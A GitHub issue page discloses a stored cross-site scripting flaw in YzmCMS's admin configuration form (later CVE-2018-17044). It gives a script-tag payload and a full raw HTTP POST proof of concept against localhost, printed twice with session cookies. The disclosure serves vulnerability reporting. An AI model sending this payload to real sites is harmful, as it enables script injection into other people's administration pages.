Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
http://127.0.0.1/yzmcms/admin/system_manage/user_config_add.html XSS, payload :<script>alert(1);</script>
POC: POST /yzmcms/admin/system_manage/user_config_add.html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/yzmcms/admin/system_manage/user_config_add.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 67 Cookie: joomla_remember_me_c40951350a7b1d9e2f1f81bd68d4c7af=yDotjSEyelPNb7k2.SOiDnuEJcliS7ROVynsH; iCMS_USER_AUTH=ea3c82fdxtNpijGe2IcYUlDjKfAAXlWqnxWAp7EojSadbYwHa%252Bh3Zq7%252BjCfDqMKPx6pkNpj3ZZT92FQuoAyytZfdEbYtT1A34Gne45d1INF5iaFBjIuVIWDHBGQOgw4IGmsPnt5i5%252BmnAvgfU4L3K0orglxQZCniWdUDVNOI%252BCJ29iJAExa2971EW14stwOFgWpU8%252BDTRj2RBu0dYPKIfSAKSW7RAKXO%252FUey1bqkg2V9hcb1gr4bUZhW2Zri3MuvJHdG6PLowrW77vi%252FoiaT6keckp7NNtr%252B1rr89QNrGyMk0AGNWZBUZdiD3BWuRSb8SKeUqVkkSCR%252B4Nb8tx1Nt0cmy%252F5QoZI3zDDRO8lQtpsGvyXIQdEPozb3eoBpLQijBAH%252BSrJodfsx8It3Sx%252FifTTVjKoLaieUNJVp%252B1HWBSbp%252BdeDefD8lKlayAlNoUe6L8v25JgkYFQJk9ty6plHu9KMxnk5ez9K%252BJX94d34X0d9uNSl16evfTh7ChrQNVlGiI5Xr7Yzwljydw7GbFYMuJhva%252BtfsTM; iCMS_userid=ae106e82Um%252F8Sl5cXKohwNL7HAT%252BJ8wbzRQrQxqC7ED5A4UZuw; iCMS_nickname=95d20a9ecX5js7g1ZjSe%252BO2PfWuvEpHcyf48apmBlHwSdCYM; iCMS_article_category_tabs=tree; bdshare_firstime=1534386202388; iCMS_redirect_num=1; 4a6f86430a9361b19459111df44aa326=aq59ps9ldq5c7598mm3lvcgdu0; joomla_user_state=logged_in; 12abbf4bf5e97f8392f838840fa944c4=74c507ed3havfnb90ts30iqlm3; iCMS_iCMS_AUTH=440aab71gT2MFtBaHQPwHaJS37c4iboInDqYaXOVjDSZkAHQHUM%252FvSDaZZV2tJKP%252ByH6FOQF7EtDBwXRZWs1h82dc11QZVBKHEz%252FB6E5tVplvHn4ARKu; PHPSESSID=f9trn71r781tg75v2fpqi9uel6; yzmphp_adminid=57c4QWyUo5m6tWVXPMc6uWaZHWa2O_83YBC3hx7W; yzmphp_adminname=dfd3xEcjriOWbvrIYHMl0gTppKSR0jGTHCnGQdsl9yuF Connection: close
name=1&fieldtype=textarea&value=test&title=<script>alert(1);</script>&status=1&dosubmit=1
——中科卓信软件测评技术中心
The text was updated successfully, but these errors were encountered:
这个问题解决了吗 ? 请注意,已分配 CVE-2018-17044 @yzmcms
Sorry, something went wrong.
No branches or pull requests
http://127.0.0.1/yzmcms/admin/system_manage/user_config_add.html
XSS, payload :<script>alert(1);</script>
POC:
POST /yzmcms/admin/system_manage/user_config_add.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/yzmcms/admin/system_manage/user_config_add.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Cookie: joomla_remember_me_c40951350a7b1d9e2f1f81bd68d4c7af=yDotjSEyelPNb7k2.SOiDnuEJcliS7ROVynsH; iCMS_USER_AUTH=ea3c82fdxtNpijGe2IcYUlDjKfAAXlWqnxWAp7EojSadbYwHa%252Bh3Zq7%252BjCfDqMKPx6pkNpj3ZZT92FQuoAyytZfdEbYtT1A34Gne45d1INF5iaFBjIuVIWDHBGQOgw4IGmsPnt5i5%252BmnAvgfU4L3K0orglxQZCniWdUDVNOI%252BCJ29iJAExa2971EW14stwOFgWpU8%252BDTRj2RBu0dYPKIfSAKSW7RAKXO%252FUey1bqkg2V9hcb1gr4bUZhW2Zri3MuvJHdG6PLowrW77vi%252FoiaT6keckp7NNtr%252B1rr89QNrGyMk0AGNWZBUZdiD3BWuRSb8SKeUqVkkSCR%252B4Nb8tx1Nt0cmy%252F5QoZI3zDDRO8lQtpsGvyXIQdEPozb3eoBpLQijBAH%252BSrJodfsx8It3Sx%252FifTTVjKoLaieUNJVp%252B1HWBSbp%252BdeDefD8lKlayAlNoUe6L8v25JgkYFQJk9ty6plHu9KMxnk5ez9K%252BJX94d34X0d9uNSl16evfTh7ChrQNVlGiI5Xr7Yzwljydw7GbFYMuJhva%252BtfsTM; iCMS_userid=ae106e82Um%252F8Sl5cXKohwNL7HAT%252BJ8wbzRQrQxqC7ED5A4UZuw; iCMS_nickname=95d20a9ecX5js7g1ZjSe%252BO2PfWuvEpHcyf48apmBlHwSdCYM; iCMS_article_category_tabs=tree; bdshare_firstime=1534386202388; iCMS_redirect_num=1; 4a6f86430a9361b19459111df44aa326=aq59ps9ldq5c7598mm3lvcgdu0; joomla_user_state=logged_in; 12abbf4bf5e97f8392f838840fa944c4=74c507ed3havfnb90ts30iqlm3; iCMS_iCMS_AUTH=440aab71gT2MFtBaHQPwHaJS37c4iboInDqYaXOVjDSZkAHQHUM%252FvSDaZZV2tJKP%252ByH6FOQF7EtDBwXRZWs1h82dc11QZVBKHEz%252FB6E5tVplvHn4ARKu; PHPSESSID=f9trn71r781tg75v2fpqi9uel6; yzmphp_adminid=57c4QWyUo5m6tWVXPMc6uWaZHWa2O_83YBC3hx7W; yzmphp_adminname=dfd3xEcjriOWbvrIYHMl0gTppKSR0jGTHCnGQdsl9yuF
Connection: close
name=1&fieldtype=textarea&value=test&title=<script>alert(1);</script>&status=1&dosubmit=1
——中科卓信软件测评技术中心
The text was updated successfully, but these errors were encountered: